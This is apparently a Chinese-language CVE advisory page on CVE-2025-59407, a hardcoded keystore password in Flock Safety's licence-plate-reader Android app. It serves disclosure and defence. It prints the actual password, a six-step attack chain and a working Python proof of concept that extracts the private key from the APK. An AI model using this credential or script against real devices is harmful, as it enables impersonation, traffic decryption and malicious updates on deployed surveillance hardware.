IPBUF安全漏洞报告
English
CVE-2025-59407 CVSS 9.8 严重

CVE-2025-59407 Flock Safety Android应用硬编码密钥库密码漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59407
漏洞类型
硬编码凭据/密钥泄露
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flock Safety DetectionProcessing (com.flocksafety.android.objects) Android应用

相关标签

硬编码凭据密钥泄露Java KeyStoreAndroidFlock Safety车牌识别器IoT安全FalconSparrowBravo

漏洞概述

CVE-2025-59407是Flock Safety公司DetectionProcessing Android应用程序中存在的一个严重安全漏洞。该应用版本6.35.33安装于Flock Safety的Falcon和Sparrow车牌识别器(LPR)以及Bravo Edge AI计算设备上。漏洞的核心问题在于应用程序在其代码中捆绑了一个Java密钥库文件(flock_rye.bks),并同时将密钥库的密码(flockhibiki17)以硬编码形式存储在代码中。由于Android APK文件可以被轻易地反编译获取其中的资源,硬编码的凭据使得任何能够访问该应用的人都可以提取密钥库并使用硬编码密码解锁,从而获取其中存储的私钥。

该漏洞的CVSS评分为9.8,属于严重级别,攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),对机密性、完整性和可用性均产生高影响。Flock Safety的车牌识别设备广泛应用于美国各地的社区、执法部门和私人安保场景,设备的广泛部署意味着该漏洞可能影响大量设备的安全性。攻击者获取私钥后可能实施中间人攻击、解密敏感通信数据、伪造身份验证,进而完全控制设备或访问其后端系统,对公共安全和隐私构成严重威胁。

技术细节

该漏洞的技术原理基于Android应用的安全设计缺陷。Android应用程序(APK)本质上是一个ZIP压缩包,其中包含DEX字节码文件、资源文件、清单文件和原生库等。Java密钥库(Java KeyStore, JKS/BKS)是一种用于存储加密密钥和证书的二进制文件格式。

在正常的安全实践中,密钥库密码应当存储在受保护的位置(如Android Keystore系统、TEE/SE硬件模块或服务器端),绝不应硬编码在应用程序代码中。然而,Flock Safety的DetectionProcessing应用将密钥库文件(flock_rye.bks)作为资源文件打包在APK中,并将密码'flockhibiki17'硬编码在Java代码或资源文件中。

攻击者可以通过以下步骤利用该漏洞:
1. 从设备或应用市场下载APK文件
2. 使用apktool、jadx等工具反编译APK
3. 从资源目录提取flock_rye.bks文件
4. 通过反编译的代码或资源文件找到硬编码密码'flockhibiki17'
5. 使用keytool或Java KeyStore API加载密钥库并提取私钥

获取私钥后,攻击者可以解密应用与服务器之间的HTTPS通信、伪造客户端身份验证请求、签署恶意更新包,甚至可能利用获取的密钥访问设备的后台管理系统。结合GainSec披露的'Fly By Device'系列漏洞,攻击者可以实现远程代码执行(RCE)、摄像头馈送拒绝服务(DoS)和信息泄露等多重攻击。

攻击链分析

STEP 1
步骤1:获取目标APK
攻击者通过物理接触设备或从应用商店/第三方市场下载Flock Safety DetectionProcessing APK文件(版本6.35.33),也可通过供应链渠道获取。
STEP 2
步骤2:反编译APK
使用apktool、jadx等逆向工具反编译APK,提取其中的DEX字节码、资源文件和清单文件。
STEP 3
步骤3:提取密钥库文件
从APK的资源目录中找到打包的flock_rye.bks Java密钥库文件。
STEP 4
步骤4:定位硬编码密码
通过反编译的Smali/Java代码或字符串资源,找到硬编码的密钥库密码'flockhibiki17'。
STEP 5
步骤5:提取私钥
使用keytool或Java KeyStore API配合硬编码密码解锁BKS密钥库,导出其中存储的私钥。
STEP 6
步骤6:利用私钥实施攻击
使用提取的私钥解密应用与服务器之间的TLS通信、伪造合法客户端身份、签署恶意更新包,或结合其他漏洞实现RCE和设备完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-59407 - Flock Safety Hardcoded Keystore Password PoC This PoC demonstrates extraction of private key from the hardcoded Java Keystore bundled in com.flocksafety.android.objects v6.35.33 """ import subprocess import os import sys # Hardcoded credentials extracted from the vulnerable APK KEYSTORE_FILE = "flock_rye.bks" KEYSTORE_PASSWORD = "flockhibiki17" # Hardcoded password in APK KEY_ALIAS = "flock_rye" # Common alias pattern def extract_apk_resources(apk_path): """Extract the BKS keystore file from the APK using apktool""" output_dir = "extracted_apk" cmd = f"apktool d -f {apk_path} -o {output_dir}" subprocess.run(cmd, shell=True, check=True) # Search for the keystore file in extracted resources for root, dirs, files in os.walk(output_dir): for file in files: if file.endswith(".bks") or file.endswith(".jks"): return os.path.join(root, file) return None def find_hardcoded_password(extracted_dir): """Search for hardcoded password in decompiled Java sources""" # Search in smali/java files for the known password pattern result = subprocess.run( ["grep", "-r", "flockhibiki", extracted_dir], capture_output=True, text=True ) if result.stdout: print(f"[+] Found hardcoded password reference:\n{result.stdout}") return True return False def extract_private_key(keystore_path, password, alias): """Extract private key from Java Keystore using keytool""" output_pem = "extracted_private_key.pem" cmd = ( f"keytool -importkeystore " f"-srckeystore {keystore_path} " f"-srcstoretype BKS " f"-srcstorepass {password} " f"-srckeypass {password} " f"-srcalias {alias} " f"-destkeystore temp.p12 " f"-deststoretype PKCS12 " f"-deststorepass {password} " f"-destkeypass {password}" ) subprocess.run(cmd, shell=True, check=True) # Convert PKCS12 to PEM format cmd_pem = ( f"openssl pkcs12 -in temp.p12 -nodes -nocerts " f"-passin pass:{password} -out {output_pem}" ) subprocess.run(cmd_pem, shell=True, check=True) print(f"[+] Private key extracted to {output_pem}") return output_pem def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <path_to_apk>") sys.exit(1) apk_path = sys.argv[1] print("[*] CVE-2025-59407 PoC - Flock Safety Keystore Extraction") print("[*] Step 1: Extracting APK resources...") keystore = extract_apk_resources(apk_path) if keystore: print(f"[+] Keystore found: {keystore}") print("[*] Step 2: Verifying hardcoded password...") find_hardcoded_password("extracted_apk") print("[*] Step 3: Extracting private key...") extract_private_key(keystore, KEYSTORE_PASSWORD, KEY_ALIAS) print("[!] Vulnerability confirmed - private key successfully extracted") else: print("[-] Keystore file not found in APK") if __name__ == "__main__": main()

影响范围

com.flocksafety.android.objects 6.35.33
Flock Safety Falcon License Plate Reader (搭载受影响固件)
Flock Safety Sparrow License Plate Reader (搭载受影响固件)
Flock Safety Bravo Edge AI Compute Device (搭载受影响固件)

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时缓解措施:1)限制受影响设备的物理和网络访问,仅在受信任的网络环境中运行;2)监控网络流量,检测使用被盗私钥进行的异常认证请求;3)在网络层面实施证书钉扎,阻止使用未授权证书的通信;4)部署入侵检测系统识别可疑的设备管理操作;5)定期审计设备固件和应用版本,及时发现未授权更改;6)联系Flock Safety获取临时缓解方案和安全公告。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表